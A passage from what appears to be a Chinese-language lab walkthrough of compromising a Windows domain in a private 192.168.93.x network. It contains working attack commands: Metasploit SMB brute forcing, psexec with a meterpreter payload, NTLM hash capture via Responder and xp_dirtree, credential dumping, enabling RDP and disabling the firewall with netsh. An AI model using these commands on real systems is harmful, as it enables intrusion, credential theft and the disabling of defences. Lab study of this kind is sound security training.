开放了445端口，这里尝试使用scanner模块SMB远程登陆爆破

use auxiliary/scanner/smb/smb\_login  
set rhosts 192.168.93.30  
set PASS\_FILE /root/Desktop/SMB.txt  
set SMBUSER administrator

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-16d209e02354898cded35c7cb7a3520be5f45a5d.png)

这里爆破出密码123qwe!ASD

**PSEXEC\*\***传递\*\*

use exploit/windows/smb/psexec  
set payload windows/x64/meterpreter/bind\_tcp  
set rhosts 192.168.93.30  
set smbuser administrator  
set smbpass 123qwe!ASD

这里可以看到开放了1433端口

使用之前得到的mssql数据库密码可以登陆

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-71b689bdd56df9dad364ecf25aa81225d77d9f8b.png)

使用[Responder.py](https://github.com/SpiderLabs/Responder)来伪造smb服务器来获取hash，然后利用mssql来进行触发验证

使用auxiliary/admin/mssql/mssql\_ntlm\_stealer，执行xp\_dirtree，触发UNC

最后使用john破解密码

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-4f1f1e14de035cdffead2636bd2ecce8dd2ba692.png)

**开启3389**

设置远程桌面端口

reg add "HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp" /t REG\_DWORD /v portnumber /d 3389 /f

开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

检查端口状态

netstat -an|find "3389"

关闭远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0

kiwi和hashdump查看凭证

获得域用户Administrator的密码为zxcASDqw123!!

3.5 Win2012-域控（192.168.93.10）
-----------------------------

取得密码这里直接wmiexec获取cmd

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-9659270d42ef9ab30548592490d94bff25ce91e5.png)

开启3389

关闭防火墙

netsh firewall set opmode mode=disable #此处使用这条成功关闭防火墙  
netsh advfirewall set allprofiles state off

使用windows登陆最终拿下域控，最后做一下迁移和域信息收集

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2022/05/attach-33bb4f9d37353cd1e9e1060118be392caa29fc90.png)
